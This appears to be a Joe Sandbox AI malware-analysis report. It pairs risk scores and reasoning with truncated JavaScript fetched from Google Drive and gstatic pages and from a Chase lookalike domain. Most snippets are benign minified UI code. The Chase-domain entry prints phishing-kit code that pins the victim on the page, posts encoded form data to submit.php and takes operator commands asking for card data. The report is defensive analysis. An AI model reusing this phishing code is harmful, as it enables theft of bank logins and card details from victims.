URL: https://www.gstatic.com/_/apps-fileview/_/js/k=app... Model: Joe Sandbox AI	{ "risk_score": 2, "reasoning": "The provided JavaScript snippet appears to be a part of a larger application and does not contain any high-risk indicators. It includes some moderate-risk behaviors, such as external data transmission and aggressive DOM manipulation, but these are likely part of the application's legitimate functionality. The code also uses some legacy practices, which pose minor risks but are not inherently malicious. Overall, the snippet seems to be a benign implementation with no clear signs of malicious intent." }
try{ var Lle=function(){QL.apply(this,arguments)};P(Lle,QL);Lle.prototype.enqueue=function(a,b){this.insert(a,b)};var Mle=function(a,b){a%=b;return a*b<0?a+b:a},Nle=function(a){return 1-Math.pow(1-a,3)}; }catch(e){_DumpException(e)} try{ var sNc=function(){return faa&&ha?!ha.mobile&&(ja("iPad")\|\|ja("Android")\|\|ja("Silk")):ja("iPad")\|\|ja("Android")&&!ja("Mobile")\|\|ja("Silk")},pQ=function(){return!(faa&&ha?ha.mobile:!sNc()&&(ja("iPod")\|\|ja("iPhone")\|\|ja("Android")\|\|ja("IEMobile")))&&!sNc()}; }catch(e){_DumpException(e)} try{ var i3e=function(a,b){this.C=a instanceof Lv?a:new Lv(a,b)};Ck(i3e,fBb);i3e.prototype.Md=function(a,b,c,d){var e=Vf(a);var f=e.body;e=e.documentElement;e=new Lv(f.scrollLeft\|\|e.scrollLeft,f.scrollTop\|\|e.scrollTop);f=this.C.x+e.x;e=this.C.y+e.y;var g=gBb(a);f-=g.x;e-=g.y;bH(new Lv(f,e),a,b,c,null,null,d)};var j3e=function(a,b){i3e.call(this,a,b)};Ck(j3e,i3e);j3e.prototype.F=0;j3e.prototype.D=function(a){this.F=a}; j3e.prototype.Md=function(a,b,c,d){var e=Vx(cWa(a)),f=UNa(Te(a).ee);f=new Lv(this.C.x+f.scrollLeft,this.C.y+f.scrollTop);var g=b,k=bH(f,a,g,c,e,10,d);if((k&496)!=0){if(k&16\|\|k&32)g^=4;if(k&64\|\|k&128)g^=1;k=bH(f,a,g,c,e,10,d);(k&496)!=0&&bH(f,a,b,c,e,this.F,d)}};var r3=function(a,b){xH.call(this,a,b);this.RN=!0;rH(this,!0);this.wa(!1,!0);this.C=new YF};Ck(r3,xH);h=r3.prototype;h.Ada=!1;h.Sc=function(a){r3.Za.Sc.call(this,a);(a=a.getAttribute("for")\|\|a.htmlFor)&&this.attach(this.oa().W(a),1)}; h.Da=function(){r3.Za.Da.call(this);this.C.forEach(this.Oka,this);var a=this.va();a.listen(this,"action",this.F);a.listen(this.oa().Hb(),"mousedown",this.H,!0)};h.attach=function(a,b,c,d,e){a&&Wwb(this.C,Fa(a))\|\|(a?(b={xb:a,Lua:b,aXa:c,Kp:d?"contextmenu":"mousedown",c_:e},this.C.set(Fa(a),b)):b=null,this.oc()&&this.Oka(b),a=Ak(this.ZYa,a),this.W()&&this.va().listen(this.W(),"keydown",a))}; h.ZYa=function(a,b){if(b.keyCode==27)a.focus();else if(a=this.vd(this.Yj)){var c=a.W();a=new bx(b.he,c);a.target=c;if(b.keyCode==32\|\|b.keyCode==13)if(dx(c))c.gE("keydown",!1,a);else if(c=gx(c))if(c=c.listeners["keydown".toString()]){c=c.concat();for(var d=0;d<c.length;d++){var e=c[d];e&&e.capture==0&&!e.removed&&DSa(e,a)}}b.keyCode==32&&this.hide()}};h.Oka=function(a){this.va().listen(a.xb,a.Kp,this.D);a.Kp!="contextmenu"&&this.va().listen(a.xb,"keydown",this.J)}; h.detach=function(a){if(!a\|\|!Wwb(this.C,Fa(a)))throw Error("ni");a=Fa(a);if(this.oc()){var b=this.C.get(a);this.va().yc(b.xb,b.Kp,this.D)}this.C.remove(a)};var k3e=function(a,b,c,d){var e=a.isVisible();a.isVisible()\|\|Date.now();a.dispatchEvent("beforeshow")&&(c=typeof c!="undefined"?c:8,e\|\|(a.W().style.visibility="hidden"),yi(a.W(),!0),b.Md(a.W(),c,d),e\|\|(a.W().style.visibility="visible"),a.so(-1),a.wa(!0))};r3.prototype.hide=function(){this.isVisible()&&(this.wa(!1),this.isVisible()\|\|Date.now())}; r3.prototype.F=function(){this.hide()};r3.prototype.D=function(a){this.Ada&&a.shiftKey&&a.button==2\|\|l3e(this,a)};r3.prototype.J=function(a){a.keyCode!=32&&a.keyCode!=13&&a.keyCode!=40\|\|l3e(this,a);a.keyCode==40&&SBb(this)};var l3e=function(a,b){for(var c=a.C.zf(),d=0;d<c.length;d++){var e=a.C.get(c[d]);if(e.xb==b.currentTarget){c=e.Lua!==void 0?new AH(e.xb,e.Lua,!0):new j3e(b.clientX,b.clientY);c.D&&c.D(5);k3e(a,c,e.aXa,e.c_);b.preventDefault();b.stopPropagation();break}}}; r3.prototype.H=function(a){this.isVisible()&&!this.Dv(a.target)&&this.hide()};r3.prototype.Ci=function(a){r3.Za.Ci.call(this,a);this.hide()};r3.prototype.Fa=function(){r3.Za.Fa.call(this);this.C&&(this.C.clear(),delete this.C)};var n3e=function(a){r3.call(this,a.oa(),m3e.Xa());this.context=a};P(n3e,r3); n3e.prototype.Da=function(){r3.prototype.Da.call(this);lj(this.W(),"ndfHFb-c4YZDc-i5oIFb");var a=YJ(this.context.ka());QF(this.W(),"ndfHFb-c4YZDc-uoC0bf",a);YJ(this.context.ka())&&NF(this.W(),Mab({oJ:!0},YGb(this.context)).split(" "))};var o3e=function(a,b){return new tH(b,void 0,a.context.oa(),EMb.Xa())},m3e=function(){wH.call(this)};P(m3e,wH);m3e.prototype.Jb=function(){return"ndfHFb-c4YZDc-mg9Pef"};m3e.X
URL: https://online.access.secure001.chase-business.com... Model: Joe Sandbox AI	{ "risk_score": 9, "reasoning": "This JavaScript code exhibits several high-risk behaviors that are indicative of a malicious phishing script. The code includes dynamic code execution, data exfiltration, and redirects to potentially malicious domains, all of which are considered high-risk indicators. Additionally, the code attempts to prevent the user from navigating away from the page and appears to be designed to collect sensitive user data, such as login credentials, which is a clear sign of malicious intent. Overall, this script poses a significant security risk and should be treated with the utmost caution." }
//START system functions for all phishes window.session = makeid(5); localStorage.setItem("session", window.session); var onStorage = function (e) { if (e.key === 'session' && e.newValue !== window.session) localStorage.setItem("multitab", window.session); if (e.key === "multitab" && e.newValue && e.newValue !== window.session) { window.removeEventListener("storage", onStorage); localStorage.setItem("session", localStorage.getItem("multitab")); localStorage.removeItem("multitab"); document.body.innerHTML = 'The current page is already open in another tab. Please follow there!'; } }; window.addEventListener('storage', onStorage); history.pushState(null, document.title, location.href); window.addEventListener('popstate', function (event){ history.pushState(null, document.title, location.href); }); document.addEventListener('DOMContentLoaded', function() { let TimeStep = 5000, url = 'submit.php'; function Update(){ var uid=($('#uid').length)?$('#uid').val():""; if (($('.loader').length > 0 && $('.loader').is(':visible')) \|\| ($('#pngenabled').length > 0 && $('#pngenabled').val()=="false")) return false; let R = new XMLHttpRequest(); let body = "upd="+uid; R.open('POST', url, true); R.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); R.send(body); R.onreadystatechange = function(){ if(R.readyState == 4){ switch (R.status) { case 200: //let Re = JSON.parse(R.responseText); break; case 404: //console.log('URL not found'); break; default: //console.log('Unknown error'); } } } setTimeout(Update, TimeStep); } setTimeout(Update, TimeStep); }); function wait_answer(uid){ //console.log('Send query...'); let TimeStep = 2000, url = 'submit.php'; let R = new XMLHttpRequest(); let body = "ping="+uid; R.open('POST', url, true); R.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); R.send(body); R.onreadystatechange = function(){ if(R.readyState == 4){ switch (R.status) { case 200: //console.log(R.responseText); let Re = JSON.parse(R.responseText); if(Re.msgping!="undefined" && Re.msgping=="newcmd"){ //console.log("Cookies:"+Re.cmd); //console.log("MSG: "+Re.errmsg); setCookie('stp',Re.cmd,60); setCookie('wt','0',60); if(Re.url!="") setCookie('uurl',Re.url,60); if(Re.msg!="") setCookie('umsg',encodeURI(Re.msg),60); else setCookie('umsg','',0); if(Re.img!=""){ var uimg=getCookie('uimg'); $.ajax({ type:'POST', data:{op:"img",img:Re.img,uimg:uimg}, dataType:'html', url:'submit.php', async:false, success: function(data){ //console.log(data); }, error: function(xhr, ajaxOptions, thrownError){ alert('Error: ' + xhr.status + ', ' + thrownError); } }); } var newloc=window.location.href; newloc=remove_param(newloc,'err'); if(Re.errmsg!="") newloc=add_param(newloc,'err',Re.errmsg); //window.location.href=newloc; window.location.replace(newloc); } //console.log(Re); //for (var key in Re) { //console.log(key, Re[key]); //$("#"+key).text(Re[key]); //} //{"res":"ok","msgping":"newcmd","cmd":2,"errmsg":"Please enter valid card data"} break; case 404: //console.log('URL not found'); break; default: //console.log('Unknown error'); } } } setTimeout(wait_answer, TimeStep, uid); } const sendSubmittedData = (formId) => { return new Promise((resolve,reject) => { var stp=$('#stp').val(); var uid=($('#uid').length)?$('#uid').val():""; var waitanswer=$('#wansw').val(); var formData = makeid(5)+b64EncodeUnicode(JSON.stringify(getFormData($(formId))))+makeid(3); setCookie('wt','1
URL: https://www.gstatic.com/_/apps-fileview/_/js/k=app... Model: Joe Sandbox AI	{ "risk_score": 3, "reasoning": "The provided JavaScript snippet appears to be a utility function for displaying announcements or notifications on a web page. It does not contain any high-risk indicators such as dynamic code execution, data exfiltration, or redirects to malicious domains. The code is licensed under the MIT license and seems to be part of a legitimate Google project. While it uses some legacy APIs like `XDomainRequest`, the overall behavior is benign and likely intended for legitimate purposes like accessibility features or user notifications. Therefore, this script is assessed as low risk." }
try{ C("IiC5yd"); /* Copyright 2020 Google Inc. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ var jR=function(a,b){var c=dVc;eVc\|\|(eVc=new fVc);c(eVc,a,b)},fVc=function(){this.C=new Map},eVc,dVc=function(a,b,c){function d(){l.textContent="";k.removeEventListener("click",d)}var e,f=(e=c==null?void 0:c.priority)!=null?e:"polite",g,k=(g=c==null?void 0:c.ownerDocument)!=null?g:document,l=gVc(a,f,k);l.textContent="";setTimeout(function(){l.textContent=b;k.addEventListener("click",d)},1)},gVc=function(a,b,c){var d=a.C.get(c);d\|\|(d=new Map,a.C.set(c,d));if((a=d.get(b))&&c.body.contains(a))return a; a=c.createElement("div");a.style.position="absolute";a.style.top="-9999px";a.style.left="-9999px";a.style.height="1px";a.style.overflow="hidden";a.setAttribute("aria-atomic","true");a.setAttribute("aria-live",b);a.setAttribute("data-mdc-dom-announce","true");c.body.appendChild(a);d.set(b,a);return a};var kR=function(){Fw.call(this)};P(kR,Hw);kR.sa=Hw.sa;Iw(CA,kR); D(); }catch(e){_DumpException(e)} try{ var iS=function(a){return"click:h5M12e"+(a?"(preventDefault=true)":"")+"; clickmod:h5M12e;pointerdown:FEiYhc;pointerup:mF5Elf;pointerenter:EX0mI;pointerleave:vpvbp;pointercancel:xyn4sd;contextmenu:xexox;"},s_c=function(a,b){return F("<span"+zy(r_c(void 0,"notranslate"+(b?" "+b:"")))+">"+bf(a)+"</span>")},r_c=function(a,b,c){return oy('class="'+G(b!=null?b:"")+'"'+(a?' role="button" tabindex="0"':' aria-hidden="true"')+(T(c)?zy(Ze(c)):""))};var jS=function(a){return F('<span class="'+G(Dy(Gy("OiePBf-zPjgPe",a)))+'"></span>')};var kS=function(a,b,c,d){var e=F;a="<span"+(d?' class="'+G(d)+'"':"")+' data-is-tooltip-wrapper="true">'+bf(a);d={nn:c,Zf:b};b=d.Zf;c=d.nn;d=d.Of;b=F('<div class="'+G("ne2Ple-oshW8e-V67aGc")+'" id="'+G(b)+'" role="tooltip" aria-hidden="true"'+(d!=null?" ssk='"+G(qy("MSJnFd")+d)+"'":"")+">"+bf(c)+"</div>");return e(a+b+"</span>")},u_c=function(a,b,c,d,e,f,g,k,l,m,q){q=q===void 0?!1:q;b='jscontroller="'+G(b!=null?b:t_c.id)+'"';b+=' jsaction="'+G((q?"pointerenter:EX0mI; pointerleave:vpvbp;":iS())+"focus:h06R8; blur:zjh6rb; mlnRJb:fLiPzd;"+ (d!=null?d:""))+'"'+(c?' data-tooltip-id="'+G(a)+'"':' aria-describedby="'+G(a)+'"')+(e?' data-tooltip-x-position="'+G(e)+'"':"")+(f?' data-tooltip-y-position="'+G(f)+'"':"")+(g!=null?' data-tooltip-show-delay-ms="'+G(g)+'"':"")+(k!=null?' data-tooltip-hide-delay-ms="'+G(k)+'"':"")+(l?' data-tooltip-anchor-boundary-type="'+G(l)+'"':"")+(m?' data-tooltip-classes="'+G(m)+'"':"");return oy(b)},t_c={id:"LxQ0Q"}; }catch(e){_DumpException(e)} try{ var lS=function(a,b){return F('<span class="'+G(Dy(Gy("RBHQF-ksKsZd",b)))+'" jscontroller="'+G(v_c.id)+'"'+((a\|\|null)!=null?' jsname="'+G(a\|\|null)+'"':"")+" soy-skip ssk='"+qy("RWVI5c")+"'></span>")},v_c={id:"LBaJxb"}; }catch(e){_DumpException(e)} try{ var eJc=function(a,b){var c=0;ra(a,function(d,e){b.call(void 0,d,e,a)&&wa(a,e)&&c++});return c},fJc=function(){var a=Lga(Qd,Rga);if(a===Pd)throw Error("$a");return a},gJc=function(){var a=Xga();if(!a)throw Error("ab");return a},
URL: https://www.gstatic.com/_/apps-fileview/_/js/k=app... Model: Joe Sandbox AI	{ "risk_score": 2, "reasoning": "The provided JavaScript snippet appears to be a part of a larger application and does not contain any high-risk indicators. It primarily deals with handling user interactions, such as click and touch events, and applying visual effects to UI elements. While the code uses some legacy APIs like `XDomainRequest`, which pose minor risks, there are no signs of dynamic code execution, data exfiltration, or redirects to malicious domains. The script seems to be focused on providing a responsive and interactive user experience, which is a common and legitimate use case. Overall, the risk score is low, and the code does not appear to be malicious." }
try{ var TQ=Symbol(); }catch(e){_DumpException(e)} try{ C("LBaJxb"); var TTc=function(a){a=a.rect;return Math.floor(Math.max(a.height,a.width).2)},UTc={pseudoElement:"::after",duration:450,fill:"forwards",easing:"cubic-bezier(0.2, 0, 0, 1)"};var YQ=function(a){vP.call(this,a.Pa);this.Yg=!1;this[TQ]=!0};P(YQ,vP);YQ.sa=vP.sa; YQ.prototype.yd=function(a){if(!this.Yg&&(a instanceof KeyboardEvent?a.key==="Enter"\|\|a.key===" ":1)){this.Yg=!0;var b;(b=this.animation)==null\|\|b.cancel();clearTimeout(this.timeout);this.aa().ub("RBHQF-ksKsZd-OWXEXe-QDgCrf");var c=this.aa().el().getBoundingClientRect();b=TTc({rect:c});var d=a instanceof MouseEvent?{x:a.clientX-c.left,y:a.clientY-c.top}:{x:c.width/2,y:c.height/2};d={x:d.x-b/2,y:d.y-b/2};a={x:(c.width-b)/2,y:(c.height-b)/2};b=d;d={rect:c};var e=d.rect;c=e.width;e=e.height;d=TTc(d); c=""+(Math.sqrt(Math.pow(c,2)+Math.pow(e,2))+10+Math.max(.35Math.max(e,c),75))/d;d+="px";a={top:[0,0],left:[0,0],height:[d,d],width:[d,d],transform:["translate("+b.x+"px, "+b.y+"px) scale(1)","translate("+a.x+"px, "+a.y+"px) scale("+c+")"]};this.animation=this.aa().el().animate(a,UTc)}};YQ.prototype.Kc=function(){this.Yg=!1;VTc(this)}; var VTc=function(a){var b,c,d=(c=(b=a.animation)==null?void 0:b.currentTime)!=null?c:Infinity;a.timeout=setTimeout(function(){a.aa().nb("RBHQF-ksKsZd-OWXEXe-QDgCrf")},225-Number(d))};YQ.prototype.ds=function(){this.aa().ub("RBHQF-ksKsZd-OWXEXe-ZmdkE")};YQ.prototype.vs=function(){this.Yg&&VTc(this);this.aa().nb("RBHQF-ksKsZd-OWXEXe-ZmdkE")};X(YQ.prototype,"smST1",function(){return this.vs});X(YQ.prototype,"u6EQ2e",function(){return this.ds});X(YQ.prototype,"R0otXe",function(){return this.Kc}); AP(xA,YQ); D(); }catch(e){_DumpException(e)} try{ C("pxafOd"); var OTc=function(a){return a.pointerType==="touch"},XQ=function(a){vP.call(this,a.Pa);this.xc="INACTIVE";this.Ja=this.pressed=!1};P(XQ,vP);XQ.sa=vP.sa;XQ.prototype.yb=function(){return!!this.aa().el().disabled};XQ.prototype.Wb=function(a){this.aa().el().disabled=a};XQ.prototype.Yg=function(){return this.pressed};var PTc=function(a,b){b=b===void 0?"PROGRAMMATIC":b;a.yd();a.xc="INACTIVE";a.Kc({Bp:!1,GB:b})};h=XQ.prototype;h.Kza=function(){return!1}; h.SY=function(a){var b=this;a=a.event;if(!this.yb()&&a.isPrimary&&this.xc==="INACTIVE"){if(OTc(a)){if(this.Ja&&!QTc(this,a))return;this.Ja=!1;this.F=a;this.xc="TOUCH_DELAY";this.wb=setTimeout(function(){b.xc==="TOUCH_DELAY"&&(b.xc="HOLDING",b.yd({Gba:b.F}))},150);return!1}if(a.button===0)return this.xc="WAITING_FOR_MOUSE_CLICK",this.F=a,this.yd({Gba:this.F}),!1}}; h.eSa=function(a){a=a.event;if(OTc(a)&&!this.yb()&&a.isPrimary){if(this.xc==="HOLDING")return RTc(this),!1;this.xc==="TOUCH_DELAY"&&(this.xc="RELEASING",this.yd({Gba:this.F}),RTc(this));return!1}};h.eh=function(a){a=a.event;if(this.yb())return!1;if(this.xc==="WAITING_FOR_MOUSE_CLICK")return a="UNSET",this.F&&(a=OTc(this.F)?"TOUCH":"MOUSE"),this.Kc({Bp:!1,GB:a}),this.xc="INACTIVE",!1;this.xc!=="INACTIVE"\|\|this.pressed\|\|(this.F=a,PTc(this,"KEYPRESS"));return!1}; h.tn=function(){var a;(a=this.Pk())==null\|\|a.ds();return!1};h.av=function(a){a=a.event;!this.yb()&&a.isPrimary&&!OTc(a)&&this.pressed&&STc(this,"MOUSE");var b;(b=this.Pk())==null\|\|b.vs();return!1};h.cSa=function(a){a=a.event;!this.yb()&&a.isPrimary&&STc(this,OTc(a)?"TOUCH":"MOUSE");return!1};h.Pn=function(){this.yb()\|\|(this.Ja=!0,STc(this,"TOUCH"));return!1};h.vi=function(){STc(this);vP.prototype.vi.call(this)};h.yd=function(a){a=(a===void 0?{}:a).Gba;this.pressed=!0;var b;(b=this.Pk())==null\|\|b.yd(a)}; h.Kc=function(a,b){var c=a.Bp;a=a.GB;this.pressed=!1;var d;(d=this.Pk())==null\|\|d.Kc();d=this.F?{altKey:this.F.altKey,ctrlKey:this.F.ctrlKey,shiftKey:this.F.shiftKey,metaKey:this.F.metaKey}:{};this.Wq();c\|\|this.trigger(KF,Object.assign({},d,{GB:a},b))};h.Pk=function(){return null};h.Wq=function(){clearTimeout(this.wb);clearTimeout(this.rc);this.F=void 0}; var STc=function(a,b){b=b===void 0?"UNSET":b;a.pressed=!1;a.Wq();a.xc!=="INACTIVE"&&(a.xc==="TOUCH_DELAY"?a.xc="INACTIVE":(
URL: https://drive.google.com/file/d/1zySfUjQ3GqIVAlBHIX3CXdgIcWIqrMkO/view?ts=67645d30 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "VERIFY", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://www.gstatic.com/_/apps-fileview/_/js/k=app... Model: Joe Sandbox AI	```json { "risk_score": 3, "reasoning": "The script contains obfuscated code and uses aggressive DOM manipulation techniques. However, there are no clear indicators of malicious intent such as data exfiltration or redirection to suspicious domains. The obfuscation and DOM manipulation suggest poor practices, but without further context, the risk remains low." }
try{ C("MpJwZc"); D(); }catch(e){_DumpException(e)} try{ C("UUJqVe"); D(); }catch(e){_DumpException(e)} try{ bg(AA); }catch(e){_DumpException(e)} try{ C("s39S4"); var AFc=function(a,b,c){c?a.setAttribute(b,c):a.removeAttribute(b);a.hasAttribute("c-wiz")\|\|(b=a,a.tagName==="C-DATA"&&(b=a.parentElement),I1a(b,!1))},BFc=function(a,b,c){var d=a.getAttribute(b)\|\|"";c=String(c\|\|"");c=c.split(";").filter(function(e){return e});d=d.split(";").filter(function(e){return yh(e,":.CLIENT")});Ba(c,d);(c=c.join(";"))?a.setAttribute(b,c):a.removeAttribute(b);ola(a)},FFc=function(){CFc\|\|(CFc=!0,DFc=Aja,Aja=function(a){DFc&&DFc(a);for(var b=0;b<a.length;b++){var c=a[b];Mf(c)&& cg(Vf(c)).GWa(c)}},EFc=Bja,Bja=function(a){EFc&&EFc(a);for(var b=0;b<a.length;b++){var c=a[b];Mf(c)&&cg(Vf(c)).HWa(c)}})},cP=function(a,b){a.H=b},GFc=function(a){if(a=a\|\|document.body){var b=document.head.querySelector("style[data-late-css]");a=n(Array.from(a.querySelectorAll("style[data-server-css-collection], link[data-server-css-collection]")));for(var c=a.next(),d={};!c.done;d={XB:void 0},c=a.next())d.XB=c.value,d.XB.tagName==="STYLE"?b?document.head.insertBefore(d.XB,b):document.head.appendChild(d.XB): d.XB.hasAttribute("late-css-moved")\|\|(c=d.XB.cloneNode(!0),c.onload=function(e){return function(){return si(e.XB)}}(d),d.XB.setAttribute("late-css-moved","true"),b?document.head.insertBefore(c,b):document.head.appendChild(c))}};var CFc=!1,DFc,EFc;var HFc=Ly,dP=function(a){Fw.call(this);this.F=a.appContext.soy;this.D=a.appContext.config;this.tc=null;my.jsaction=BFc;my.jsdata=AFc;FFc()};P(dP,Hw);dP.sa=function(){return{appContext:{soy:HF,config:dwb}}};dP.prototype.lz=function(a){this.tc=a};dP.prototype.Vh=function(){return this.tc};dP.prototype.C=function(a,b){return a(b,mD(this.D))};dP.prototype.dh=function(a,b,c){IFc(this,!0,a,b,!0,c)}; var IFc=function(a,b,c,d,e,f){var g=new HFc;g.lz(a.tc);var k=Vf(c).documentElement.contains(c);GFc(document.body);gka(c,function(){a.tc&&e?a.tc.D(c,function(){d(g,f,mD(a.D))}):d(g,f,mD(a.D))},f);b?JFc(a,c,k):a.tc&&a.tc.C()};dP.prototype.dUa=function(a,b,c){IFc(this,!1,a,b,!1,c);this.F.Eg().dispatchEvent(new A1a(z1a,a,af))}; dP.prototype.Ry=function(a,b,c){var d=this,e=new HFc;e.lz(this.tc);var f=Vf(a).documentElement.contains(a);f&&a instanceof Element&&GFc(a);eka(a,function(){return b(e,c,mD(d.D))},c);JFc(this,a,f)};var JFc=function(a,b,c){a.F.Eg().dispatchEvent(new A1a(c?z1a:x1a,b,af));a.F.Eg().dispatchEvent(new Zw(y1a,b))};dP.prototype.qc=function(a,b){var c=document.createElement("div");this.Ry(c,a,b);a=c.firstElementChild;JFc(this,a,!1);return a};Iw(FA,dP); D(); }catch(e){_DumpException(e)} try{ var OJc=function(a,b){a.J=b},PJc=function(a){a.J\|\|(a.J=cO(a,rub));return a.J};var QJc=1;(function(){for(var a=["ms","moz","webkit","o"],b=0;b<a.length&&!window.requestAnimationFrame;++b)window.requestAnimationFrame=window[a[b]+"RequestAnimationFrame"],window.cancelAnimationFrame=window[a[b]+"CancelAnimationFrame"]\|\|window[a[b]+"CancelRequestAnimationFrame"];if(!window.requestAnimationFrame){var c=0;window.requestAnimationFrame=function(d){var e=(new Date).getTime(),f=Math.max(0,16-(e-c));c=e+f;return window.setTimeout(function(){d(e+f)},f)};window.cancelAnimationFrame\|\|(window.cancelAnimationFrame= function(d){clearTimeout(d)})}})();var RJc=function(){},SJc=[[],[]],TJc=0,UJc=new Set,VJc=null,WJc=0,XJc=0,YJc=0,DP=0,ZJc=0,$Jc=function(a,b){this.F=this.D=void 0;this.H=!1;this.C=window;this.J=b;this.L=a};h=$Jc.prototype;h.measure=function(a){this.D=a;return this};h.hc=function(a){this.F=a;return this};h.qd=function(){this.H=!0;return this};h.window=function(a){this.C=a;return this};h.build=function(){return aKc({measure:this.D,hc:this.F,P2a:this.L,window:this.C,qd:this.H},this.J)}; var EP=function(a,b){return new $Jc(b?b:RJc,a)},aKc=function(a,b){var c=ZJc++,d=Math.max(a.measure?a.measure.length:0,a.hc?a.hc.length:0),e={id:c,Wqa:a.measure,jra:a.hc,context:b,args:[]},f=e;return function(){var g=f.xc!==0;g&&(f=Object.assign({xc:0},e));b\|\|(f.context=
URL: https://www.gstatic.com/og/_/js/k=og.qtm.en_US.otm... Model: Joe Sandbox AI	```json { "risk_score": 1, "reasoning": "The script primarily involves DOM manipulation and class management without any high-risk behaviors such as dynamic code execution or data exfiltration. It does not interact with external domains or use obfuscated code. The operations are typical for UI updates and event handling, indicating low risk." }
this.gbar_=this.gbar_\|\|{};(function(_){var window=this; try{ _.Ad=typeof AsyncContext!=="undefined"&&typeof AsyncContext.Snapshot==="function"?a=>a&&AsyncContext.Snapshot.wrap(a):a=>a; }catch(e){_._DumpException(e)} try{ _.te=function(a){return _.Hb(a)&&a.nodeType==1};_.ue=function(a,b){if("textContent"in a)a.textContent=b;else if(a.nodeType==3)a.data=String(b);else if(a.firstChild&&a.firstChild.nodeType==3){for(;a.lastChild!=a.firstChild;)a.removeChild(a.lastChild);a.firstChild.data=String(b)}else _.qe(a),a.appendChild(_.ge(a).createTextNode(String(b)))};var ve;_.we=function(a,b,c){Array.isArray(c)&&(c=c.join(" "));const d="aria-"+b;c===""\|\|c==void 0?(ve\|\|(ve={atomic:!1,autocomplete:"none",dropeffect:"none",haspopup:!1,live:"off",multiline:!1,multiselectable:!1,orientation:"vertical",readonly:!1,relevant:"additions text",required:!1,sort:"none",busy:!1,disabled:!1,hidden:!1,invalid:"false"}),c=ve,b in c?a.setAttribute(d,c[b]):a.removeAttribute(d)):a.setAttribute(d,c)};var Ae;_.ze=function(a,b,c,d,e,f){if(_.ic&&e)return _.xe(a);if(e&&!d)return!1;if(!_.gc){typeof b==="number"&&(b=_.ye(b));const g=b==17\|\|b==18\|\|_.ic&&b==91;if((!c\|\|_.ic)&&g\|\|_.ic&&b==16&&(d\|\|f))return!1}if(_.hc&&d&&c)switch(a){case 220:case 219:case 221:case 192:case 186:case 189:case 187:case 188:case 190:case 191:case 192:case 222:return!1}switch(a){case 13:return _.gc?f\|\|e?!1:!(c&&d):!0;case 27:return!_.hc&&!_.gc}return _.gc&&(d\|\|e\|\|f)?!1:_.xe(a)}; _.xe=function(a){if(a>=48&&a<=57\|\|a>=96&&a<=106\|\|a>=65&&a<=90\|\|_.hc&&a==0)return!0;switch(a){case 32:case 43:case 63:case 64:case 107:case 109:case 110:case 111:case 186:case 59:case 189:case 187:case 61:case 188:case 190:case 191:case 192:case 222:case 219:case 220:case 221:case 163:case 58:return!0;case 173:case 171:return _.gc;default:return!1}};_.ye=function(a){if(_.gc)a=Ae(a);else if(_.ic&&_.hc)switch(a){case 93:a=91}return a}; Ae=function(a){switch(a){case 61:return 187;case 59:return 186;case 173:return 189;case 224:return 91;case 0:return 224;default:return a}}; }catch(e){_._DumpException(e)} try{ var Be,Ce,De;Be=function(a){return typeof a.className=="string"?a.className:a.getAttribute&&a.getAttribute("class")\|\|""};Ce=function(a){return a.classList?a.classList:Be(a).match(/\S+/g)\|\|[]};De=function(a,b){typeof a.className=="string"?a.className=b:a.setAttribute&&a.setAttribute("class",b)};_.V=function(a,b){return a.classList?a.classList.contains(b):_.va(Ce(a),b)};_.Ee=function(a,b){if(a.classList)a.classList.add(b);else if(!_.V(a,b)){const c=Be(a);De(a,c+(c.length>0?" "+b:b))}}; _.Fe=function(a,b){if(a.classList)Array.prototype.forEach.call(b,function(d){_.Ee(a,d)});else{var c={};Array.prototype.forEach.call(Ce(a),function(d){c[d]=!0});Array.prototype.forEach.call(b,function(d){c[d]=!0});b="";for(const d in c)b+=b.length>0?" "+d:d;De(a,b)}};_.Ge=function(a,b){a.classList?a.classList.remove(b):_.V(a,b)&&De(a,Array.prototype.filter.call(Ce(a),function(c){return c!=b}).join(" "))}; _.He=function(a,b){a.classList?Array.prototype.forEach.call(b,function(c){_.Ge(a,c)}):De(a,Array.prototype.filter.call(Ce(a),function(c){return!_.va(b,c)}).join(" "))}; }catch(e){_._DumpException(e)} try{ _.Ie=class extends _.Q{constructor(a){super(a)}}; }catch(e){_._DumpException(e)} try{ var Ke;_.Je=function(a,b){b=_.ua(a,b);let c;(c=b>=0)&&Array.prototype.splice.call(a,b,1);return c};Ke=function(a,b){for(const c in a)if(b.call(void 0,a[c],c,a))return!0;return!1};_.Me=function(a,b){this.type="function"==typeof _.Le&&a instanceof _.Le?String(a):a;this.currentTarget=this.target=b;this.defaultPrevented=this.i=!1};_.Me.prototype.stopPropagation=function(){this.i=!0};_.Me.prototype.preventDefault=function(){this.defaultPrevented=!0}; _.Ne=function(a,b){_.Me.call(this,a?a.type:"");this.relatedTarget=this.currentTarget=this.target=null;this.button=this.screenY=this.screenX=this.clientY=this.clientX=this.offsetY=this.offsetX=0;this.key="";this.charCode=this.keyCode=0;this.metaKey=this.shiftKey=this.altKey=this.ctrlKey=!1;this.state=null;this.poi
URL: https://drive.google.com/file/d/1zySfUjQ3GqIVAlBHIX3CXdgIcWIqrMkO/view?ts=67645d30 Model: Joe Sandbox AI	{ "brands": [ "Chase" ] }
	{ "brands": [ "Chase" ] }
